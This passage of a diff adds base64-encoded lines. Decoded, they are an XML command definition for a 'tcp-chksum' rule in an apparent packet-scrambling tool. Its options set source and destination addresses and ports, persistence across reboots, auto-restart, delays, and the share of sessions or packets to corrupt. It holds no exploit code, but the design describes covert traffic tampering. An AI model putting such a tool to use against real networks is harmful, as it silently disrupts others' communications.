+c2NyYW1ibGVfcGFyYW1fcGQ8L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAg
+ICAgICAgIDxjb2x1bW4+DQogICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX3BhcmFtX3A8
+L2VsZW1lbnQ+DQogICAgICAgICAgICA8L2NvbHVtbj4NCiAgICAgICAgICAgIDxjb2x1bW4+DQog
+ICAgICAgICAgICAgIDxlbGVtZW50PnNjcmFtYmxlX3BhcmFtX3BtPC9lbGVtZW50Pg0KICAgICAg
+ICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgPC9zZWN0aW9uPg0KICAgICAgICAgIDxzZWN0aW9u
+Pg0KICAgICAgICAgICAgPGNvbHVtbj4NCiAgICAgICAgICAgICAgPGVsZW1lbnQ+c2NyYW1ibGVf
+cGFyYW1fZGlyPC9lbGVtZW50Pg0KICAgICAgICAgICAgPC9jb2x1bW4+DQogICAgICAgICAgPC9z
+ZWN0aW9uPg0KICAgICAgICA8L25jdXJzZXNsYXlvdXQ+DQogICAgICA8L2NtZD4NCiAgICAgIDxj
+bWQgdGl0bGU9InRjcC1jaGtzdW0iPg0KICAgICAgICA8aGVscHRleHQ+Q3JlYXRlcyBhIG5ldyB0
+Y3AtY2hrc3VtIHJ1bGUgYmFzZWQgb24gdGhlIHNwZWNpZmllZCBjcml0ZXJpYS48L2hlbHB0ZXh0
+Pg0KICAgICAgICA8cHJpbWl0aXZlcz4NCiAgICAgICAgICA8cmVxdWlyZWRfcHJpbWl0aXZlcz4N
+CiAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAg
+ICAgPHByaW1pdGl2ZT4weDBGMDAwMDEwPC9wcmltaXRpdmU+DQogICAgICAgICAgPC9yZXF1aXJl
+ZF9wcmltaXRpdmVzPg0KICAgICAgICAgIDxvcHRpb25hbF9wcmltaXRpdmVzPg0KICAgICAgICAg
+ICAgPHByaW1pdGl2ZT4weDBGMDAwMDA0PC9wcmltaXRpdmU+DQogICAgICAgICAgICA8cHJpbWl0
+aXZlPjB4MEYwMDAwMDU8L3ByaW1pdGl2ZT4NCiAgICAgICAgICA8L29wdGlvbmFsX3ByaW1pdGl2
+ZXM+DQogICAgICAgIDwvcHJpbWl0aXZlcz4NCiAgICAgICAgPGF0dHJpYnV0ZXM+DQogICAgICAg
+ICAgPHJlcXVpcmVkX2F0dHJpYnV0ZXM+DQogICAgICAgICAgICA8Y29tbWFuZF9hdHRyaWJ1dGU+
+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgPG5jdXJzZWlkPnNj
+cmFtYmxlX2NyZWF0ZV9hdHRyaWJfMTwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgICAgPG5jdXJz
+ZWxhYmVsPlNvdXJjZSBJUDwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgICAgPHR5cGU+aXB2
+NDwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xNjwvc2l6ZT4NCiAgICAgICAgICAgICAg
+ICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJn
+bnVtYmVyPjE8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAg
+ICAgICA8L2NvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgPGNvbW1hbmRfYXR0cmlidXRl
+Pg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDxuY3Vyc2VpZD5z
+Y3JhbWJsZV9jcmVhdGVfYXR0cmliXzI8L25jdXJzZWlkPg0KICAgICAgICAgICAgICAgIDxuY3Vy
+c2VsYWJlbD5Tb3VyY2UgTWFzazwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgICAgPHR5cGU+
+aXB2NDwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xNjwvc2l6ZT4NCiAgICAgICAgICAg
+ICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8
+YXJnbnVtYmVyPjI8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAg
+ICAgICAgICA8L2NvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgPGNvbW1hbmRfYXR0cmli
+dXRlPg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfY3JlYXRlX2F0dHJpYl8zPC9u
+Y3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPlN0YXJ0IFNyYyBQb3J0PC9uY3Vy
+c2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlw
+ZT51aW50MzI8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTE8L3NpemU+DQogICAgICAg
+ICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAg
+ICAgPGFyZ251bWJlcj4zPC9hcmdudW1iZXI+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0K
+ICAgICAgICAgICAgPC9jb21tYW5kX2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDxjb21tYW5kX2F0
+dHJpYnV0ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJf
+NDwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5FbmQgU3JjIFBvcnQ8L25j
+dXJzZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0
+eXBlPnVpbnQzMjwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xMTwvc2l6ZT4NCiAgICAg
+ICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAg
+ICAgICA8YXJnbnVtYmVyPjQ8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+
+DQogICAgICAgICAgICA8L2NvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgPGNvbW1hbmRf
+YXR0cmlidXRlPg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDxu
+Y3Vyc2VpZD5zY3JhbWJsZV9jcmVhdGVfYXR0cmliXzU8L25jdXJzZWlkPg0KICAgICAgICAgICAg
+ICAgIDxuY3Vyc2VsYWJlbD5EZXN0aW5hdGlvbiBJUDwvbmN1cnNlbGFiZWw+DQogICAgICAgICAg
+ICAgICAgPHR5cGU+aXB2NDwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xNjwvc2l6ZT4N
+CiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAg
+ICAgICAgICAgICA8YXJnbnVtYmVyPjU8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAgPC9hdHRy
+aWJ1dGU+DQogICAgICAgICAgICA8L2NvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgPGNv
+bW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAg
+ICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9jcmVhdGVfYXR0cmliXzY8L25jdXJzZWlkPg0KICAgICAg
+ICAgICAgICAgIDxuY3Vyc2VsYWJlbD5EZXN0aW5hdGlvbiBNYXNrPC9uY3Vyc2VsYWJlbD4NCiAg
+ICAgICAgICAgICAgICA8dHlwZT5pcHY0PC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjE2
+PC9zaXplPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJpbWl0aXZl
+Pg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+NjwvYXJnbnVtYmVyPg0KICAgICAgICAgICAg
+ICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAg
+ICAgICA8Y29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJs
+ZV9jcmVhdGVfYXR0cmliXzc8L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+
+U3RhcnQgRHN0IFBvcnQ8L25jdXJzZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0K
+ICAgICAgICAgICAgICAgIDx0eXBlPnVpbnQzMjwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6
+ZT4xMTwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1p
+dGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjc8L2FyZ251bWJlcj4NCiAgICAgICAg
+ICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L2NvbW1hbmRfYXR0cmlidXRlPg0KICAg
+ICAgICAgICAgPGNvbW1hbmRfYXR0cmlidXRlPg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2Ny
+YW1ibGVfY3JlYXRlX2F0dHJpYl84PC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxh
+YmVsPkVuZCBEc3QgUG9ydDwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+
+DQogICAgICAgICAgICAgICAgPHR5cGU+dWludDMyPC90eXBlPg0KICAgICAgICAgICAgICAgIDxz
+aXplPjExPC9zaXplPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJp
+bWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+ODwvYXJnbnVtYmVyPg0KICAgICAg
+ICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvY29tbWFuZF9hdHRyaWJ1dGU+DQog
+ICAgICAgICAgICA8Y29tbWFuZF9hdHRyaWJ1dGU+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+
+DQogICAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX2NyZWF0ZV9hdHRyaWJfOTwvbmN1
+cnNlaWQ+DQogICAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPlByb3RvY29sPC9uY3Vyc2VsYWJl
+bD4NCiAgICAgICAgICAgICAgICA8dHlwZT5zdHJpbmc8L3R5cGU+DQogICAgICAgICAgICAgICAg
+PHNpemU+MTY8L3NpemU+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9w
+cmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj45PC9hcmdudW1iZXI+DQogICAg
+ICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9jb21tYW5kX2F0dHJpYnV0ZT4N
+CiAgICAgICAgICA8L3JlcXVpcmVkX2F0dHJpYnV0ZXM+DQogICAgICAgICAgPG9wdGlvbmFsX2F0
+dHJpYnV0ZXMvPg0KICAgICAgICA8L2F0dHJpYnV0ZXM+DQogICAgICAgIDxwYXJhbWV0ZXJzPg0K
+ICAgICAgICAgIDxyZXF1aXJlZF9wYXJhbWV0ZXJzLz4NCiAgICAgICAgICA8b3B0aW9uYWxfcGFy
+YW1ldGVycz4NCiAgICAgICAgICAgIDxwYXJhbWV0ZXIgZmxhZz0iZW4iPg0KICAgICAgICAgICAg
+ICA8Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAgICAgICAgPG5j
+dXJzZWlkPnNjcmFtYmxlX3BhcmFtX2VuPC9uY3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJz
+ZWxhYmVsPkVuYWJsZTwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+DQog
+ICAgICAgICAgICAgICAgPHR5cGU+cHJlc2VuY2U8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNp
+emU+MTwvc2l6ZT4NCiAgICAgICAgICAgICAgICA8ZGVmYXVsdHZhbHVlPnRydWU8L2RlZmF1bHR2
+YWx1ZT4NCiAgICAgICAgICAgICAgICA8cHJpbWl0aXZlPjB4MEYwMDAwMDQ8L3ByaW1pdGl2ZT4N
+CiAgICAgICAgICAgICAgICA8YXJnbnVtYmVyPjI8L2FyZ251bWJlcj4NCiAgICAgICAgICAgICAg
+ICA8aGVscHRleHQ+RW5hYmxlcyB0aGUgcnVsZSBvbiBjcmVhdGlvbjwvaGVscHRleHQ+DQogICAg
+ICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9wYXJhbWV0ZXI+DQogICAgICAg
+ICAgICA8cGFyYW1ldGVyIGZsYWc9InBzIj4NCiAgICAgICAgICAgICAgPGNhc2VzZW5zaXRpdmU+
+ZmFsc2U8L2Nhc2VzZW5zaXRpdmU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9w
+YXJhbV9wczwvbmN1cnNlaWQ+DQogICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5QZXJzaXN0PC9u
+Y3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8
+dHlwZT5wcmVzZW5jZTwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xPC9zaXplPg0KICAg
+ICAgICAgICAgICAgIDxkZWZhdWx0dmFsdWU+dHJ1ZTwvZGVmYXVsdHZhbHVlPg0KICAgICAgICAg
+ICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwNTwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAg
+IDxhcmdudW1iZXI+MjwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5FbmFi
+bGUgdGhlIGZpbHRlciB0byBzdXJ2aXZlIHJlYm9vdHMuPC9oZWxwdGV4dD4NCiAgICAgICAgICAg
+ICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L3BhcmFtZXRlcj4NCiAgICAgICAgICAgIDxw
+YXJhbWV0ZXIgZmxhZz0iciI+DQogICAgICAgICAgICAgIDxjYXNlc2Vuc2l0aXZlPmZhbHNlPC9j
+YXNlc2Vuc2l0aXZlPg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2NyYW1ibGVfcGFyYW1fcjwv
+bmN1cnNlaWQ+DQogICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5BdXRvIFJlc3RhcnQ8L25jdXJz
+ZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBl
+PnByZXNlbmNlPC90eXBlPg0KICAgICAgICAgICAgICAgIDxzaXplPjE8L3NpemU+DQogICAgICAg
+ICAgICAgICAgPGRlZmF1bHR2YWx1ZT50cnVlPC9kZWZhdWx0dmFsdWU+DQogICAgICAgICAgICAg
+ICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFy
+Z251bWJlcj4xMDwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5BdXRvbWF0
+aWNhbGx5IHJlLWVuYWJsZSB0aGUgZmlsdGVyIHdoZW4gdGVybWluYXRpb24gaXMgcmVhY2hlZC48
+L2hlbHB0ZXh0Pg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvcGFy
+YW1ldGVyPg0KICAgICAgICAgICAgPHBhcmFtZXRlciBmbGFnPSJ0ZCI+DQogICAgICAgICAgICAg
+IDxjYXNlc2Vuc2l0aXZlPmZhbHNlPC9jYXNlc2Vuc2l0aXZlPg0KICAgICAgICAgICAgICA8bmN1
+cnNlaWQ+c2NyYW1ibGVfcGFyYW1fdGQ8L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNl
+bGFiZWw+VGltZSBEZWxheTwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxhdHRyaWJ1dGU+
+DQogICAgICAgICAgICAgICAgPHR5cGU+c3RyaW5nPC90eXBlPg0KICAgICAgICAgICAgICAgIDxz
+aXplPjE1PC9zaXplPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAwMzwvcHJp
+bWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+MTE8L2FyZ251bWJlcj4NCiAgICAg
+ICAgICAgICAgICA8aGVscHRleHQ+VGltZSBiZWZvcmUgZmlsdGVyIGFmZmVjdHMgcGFja2V0cy4g
+IFRoZSBmb3JtYXQgY2FuIGJlIHNlY29uZHMgaS5lLiAzNjAwLCBvciBvbmUgY2hhcmFjdGVyIHNw
+ZWNpZmllcnMgZm9yIGRheXMsIGhvdXJzLCBtaW51dGVzLCBhbmQgc2Vjb25kcyBpLmUuIDFkIDJo
+IDNtIDRzLjwvaGVscHRleHQ+DQogICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAg
+ICAgPC9wYXJhbWV0ZXI+DQogICAgICAgICAgICA8cGFyYW1ldGVyIGZsYWc9InQiPg0KICAgICAg
+ICAgICAgICA8Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAgICAg
+ICAgPG5jdXJzZWlkPnNjcmFtYmxlX3BhcmFtX3Q8L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8
+bmN1cnNlbGFiZWw+VGltZSBEdXJhdGlvbjwvbmN1cnNlbGFiZWw+DQogICAgICAgICAgICAgIDxh
+dHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgPHR5cGU+c3RyaW5nPC90eXBlPg0KICAgICAgICAg
+ICAgICAgIDxzaXplPjE1PC9zaXplPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAw
+MDAwMzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+MTI8L2FyZ251bWJl
+cj4NCiAgICAgICAgICAgICAgICA8aGVscHRleHQ+RHVyYXRpb24gcGFja2V0cyB3aWxsIGJlIGFm
+ZmVjdGVkIGJ5IGZpbHRlci4gIFRoZSBmb3JtYXQgY2FuIGJlIHNlY29uZHMgaS5lLiAzNjAwLCBv
+ciBvbmUgY2hhcmFjdGVyIHNwZWNpZmllcnMgZm9yIGRheXMsIGhvdXJzLCBtaW51dGVzLCBhbmQg
+c2Vjb25kcyBpLmUuIDFkIDJoIDNtIDRzLjwvaGVscHRleHQ+DQogICAgICAgICAgICAgIDwvYXR0
+cmlidXRlPg0KICAgICAgICAgICAgPC9wYXJhbWV0ZXI+DQogICAgICAgICAgICA8cGFyYW1ldGVy
+IGZsYWc9InNkIj4NCiAgICAgICAgICAgICAgPGNhc2VzZW5zaXRpdmU+ZmFsc2U8L2Nhc2VzZW5z
+aXRpdmU+DQogICAgICAgICAgICAgIDxuY3Vyc2VpZD5zY3JhbWJsZV9wYXJhbV9zZDwvbmN1cnNl
+aWQ+DQogICAgICAgICAgICAgIDxuY3Vyc2VsYWJlbD5TZXNzaW9uIERlbGF5PC9uY3Vyc2VsYWJl
+bD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT51aW50
+MzI8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTE8L3NpemU+DQogICAgICAgICAgICAg
+ICAgPGRlZmF1bHR2YWx1ZT4wPC9kZWZhdWx0dmFsdWU+DQogICAgICAgICAgICAgICAgPHByaW1p
+dGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJlcj4x
+MzwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5OdW1iZXIgb2Ygc2Vzc2lv
+bnMgdG8gaWdub3JlIGJlZm9yZSBmaWx0ZXIgYWZmZWN0cyBwYWNrZXRzLjwvaGVscHRleHQ+DQog
+ICAgICAgICAgICAgIDwvYXR0cmlidXRlPg0KICAgICAgICAgICAgPC9wYXJhbWV0ZXI+DQogICAg
+ICAgICAgICA8cGFyYW1ldGVyIGZsYWc9InMiPg0KICAgICAgICAgICAgICA8Y2FzZXNlbnNpdGl2
+ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxl
+X3BhcmFtX3M8L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+U2Vzc2lvbiBQ
+ZXJjZW50YWdlPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAg
+ICAgICAgICAgICA8dHlwZT51aW50MzI8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTE8
+L3NpemU+DQogICAgICAgICAgICAgICAgPGRlZmF1bHR2YWx1ZT4wPC9kZWZhdWx0dmFsdWU+DQog
+ICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAg
+ICAgICAgICAgPGFyZ251bWJlcj4xNDwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICAgIDxoZWxw
+dGV4dD5QZXJjZW50YWdlIG9mIHNlc3Npb25zIGZpbHRlciB3aWxsIGFmZmVjdC48L2hlbHB0ZXh0
+Pg0KICAgICAgICAgICAgICA8L2F0dHJpYnV0ZT4NCiAgICAgICAgICAgIDwvcGFyYW1ldGVyPg0K
+ICAgICAgICAgICAgPHBhcmFtZXRlciBmbGFnPSJzbSI+DQogICAgICAgICAgICAgIDxjYXNlc2Vu
+c2l0aXZlPmZhbHNlPC9jYXNlc2Vuc2l0aXZlPg0KICAgICAgICAgICAgICA8bmN1cnNlaWQ+c2Ny
+YW1ibGVfcGFyYW1fc208L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+TWF4
+IFNlc3Npb25zPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAg
+ICAgICAgICAgICA8dHlwZT51aW50MzI8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTE8
+L3NpemU+DQogICAgICAgICAgICAgICAgPGRlZmF1bHR2YWx1ZT4wPC9kZWZhdWx0dmFsdWU+DQog
+ICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAg
+ICAgICAgICAgPGFyZ251bWJlcj4xNTwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICAgIDxoZWxw
+dGV4dD5NYXhpbXVtIG51bWJlciBvZiBzZXNzaW9uIHRvIGFmZmVjdCBiZWZvcmUgZmlsdGVyIGlz
+IHRlcm1pbmF0ZWQuPC9oZWxwdGV4dD4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAg
+ICAgICAgICA8L3BhcmFtZXRlcj4NCiAgICAgICAgICAgIDxwYXJhbWV0ZXIgZmxhZz0icGQiPg0K
+ICAgICAgICAgICAgICA8Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNlbnNpdGl2ZT4NCiAgICAg
+ICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX3BhcmFtX3BkPC9uY3Vyc2VpZD4NCiAgICAgICAg
+ICAgICAgPG5jdXJzZWxhYmVsPlBhY2tldCBEZWxheTwvbmN1cnNlbGFiZWw+DQogICAgICAgICAg
+ICAgIDxhdHRyaWJ1dGU+DQogICAgICAgICAgICAgICAgPHR5cGU+dWludDMyPC90eXBlPg0KICAg
+ICAgICAgICAgICAgIDxzaXplPjExPC9zaXplPg0KICAgICAgICAgICAgICAgIDxkZWZhdWx0dmFs
+dWU+MDwvZGVmYXVsdHZhbHVlPg0KICAgICAgICAgICAgICAgIDxwcmltaXRpdmU+MHgwRjAwMDAw
+MzwvcHJpbWl0aXZlPg0KICAgICAgICAgICAgICAgIDxhcmdudW1iZXI+MTY8L2FyZ251bWJlcj4N
+CiAgICAgICAgICAgICAgICA8aGVscHRleHQ+TnVtYmVyIG9mIHBhY2tldHMgdG8gaWdub3JlIGJl
+Zm9yZSBmaWx0ZXIgYWZmZWN0cyBwYWNrZXRzLjwvaGVscHRleHQ+DQogICAgICAgICAgICAgIDwv
+YXR0cmlidXRlPg0KICAgICAgICAgICAgPC9wYXJhbWV0ZXI+DQogICAgICAgICAgICA8cGFyYW1l
+dGVyIGZsYWc9InAiPg0KICAgICAgICAgICAgICA8Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2FzZXNl
+bnNpdGl2ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX3BhcmFtX3A8L25jdXJz
+ZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFiZWw+UGFja2V0IFBlcmNlbnRhZ2U8L25jdXJz
+ZWxhYmVsPg0KICAgICAgICAgICAgICA8YXR0cmlidXRlPg0KICAgICAgICAgICAgICAgIDx0eXBl
+PnVpbnQzMjwvdHlwZT4NCiAgICAgICAgICAgICAgICA8c2l6ZT4xMTwvc2l6ZT4NCiAgICAgICAg
+ICAgICAgICA8ZGVmYXVsdHZhbHVlPjA8L2RlZmF1bHR2YWx1ZT4NCiAgICAgICAgICAgICAgICA8
+cHJpbWl0aXZlPjB4MEYwMDAwMDM8L3ByaW1pdGl2ZT4NCiAgICAgICAgICAgICAgICA8YXJnbnVt
+YmVyPjE3PC9hcmdudW1iZXI+DQogICAgICAgICAgICAgICAgPGhlbHB0ZXh0PlBlcmNlbnRhZ2Ug
+b2YgcGFja2V0cyBmaWx0ZXIgd2lsbCBhZmZlY3QuPC9oZWxwdGV4dD4NCiAgICAgICAgICAgICAg
+PC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L3BhcmFtZXRlcj4NCiAgICAgICAgICAgIDxwYXJh
+bWV0ZXIgZmxhZz0icG0iPg0KICAgICAgICAgICAgICA8Y2FzZXNlbnNpdGl2ZT5mYWxzZTwvY2Fz
+ZXNlbnNpdGl2ZT4NCiAgICAgICAgICAgICAgPG5jdXJzZWlkPnNjcmFtYmxlX3BhcmFtX3BtPC9u
+Y3Vyc2VpZD4NCiAgICAgICAgICAgICAgPG5jdXJzZWxhYmVsPk1heCBQYWNrZXRzPC9uY3Vyc2Vs
+YWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAgICAgICAgICAgICAgICA8dHlwZT51
+aW50MzI8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+MTE8L3NpemU+DQogICAgICAgICAg
+ICAgICAgPGRlZmF1bHR2YWx1ZT4wPC9kZWZhdWx0dmFsdWU+DQogICAgICAgICAgICAgICAgPHBy
+aW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAgICAgICAgICAgICAgPGFyZ251bWJl
+cj4xODwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICAgIDxoZWxwdGV4dD5NYXhpbXVtIG51bWJl
+ciBvZiBwYWNrZXRzIHRvIGFmZmVjdCBiZWZvcmUgZmlsdGVyIGlzIHRlcm1pbmF0ZWQuPC9oZWxw
+dGV4dD4NCiAgICAgICAgICAgICAgPC9hdHRyaWJ1dGU+DQogICAgICAgICAgICA8L3BhcmFtZXRl
+cj4NCiAgICAgICAgICAgIDxwYXJhbWV0ZXIgZmxhZz0iZGlyIj4NCiAgICAgICAgICAgICAgPGNh
+c2VzZW5zaXRpdmU+ZmFsc2U8L2Nhc2VzZW5zaXRpdmU+DQogICAgICAgICAgICAgIDxuY3Vyc2Vp
+ZD5zY3JhbWJsZV9wYXJhbV9kaXI8L25jdXJzZWlkPg0KICAgICAgICAgICAgICA8bmN1cnNlbGFi
+ZWw+RGlyZWN0aW9uPC9uY3Vyc2VsYWJlbD4NCiAgICAgICAgICAgICAgPGF0dHJpYnV0ZT4NCiAg
+ICAgICAgICAgICAgICA8dHlwZT51aW50MzI8L3R5cGU+DQogICAgICAgICAgICAgICAgPHNpemU+
+MTE8L3NpemU+DQogICAgICAgICAgICAgICAgPGRlZmF1bHR2YWx1ZT4wPC9kZWZhdWx0dmFsdWU+
+DQogICAgICAgICAgICAgICAgPHByaW1pdGl2ZT4weDBGMDAwMDAzPC9wcmltaXRpdmU+DQogICAg
+ICAgICAgICAgICAgPGFyZ251bWJlcj4xOTwvYXJnbnVtYmVyPg0KICAgICAgICAgICAgICAgIDxo
+ZWxwdGV4dD5UaGUgZGlyZWN0aW9uIGluIGEgY2xpZW50IHNlcnZlciBjb25uZWN0aW9uIHRoYXQg
+dGhpcyBmaWx0ZXIgYXBwbGllcyB0by4gIElmIGZsYWcgaXMgbm90IHVzZWQsIGJvdGggZGlyZWN0
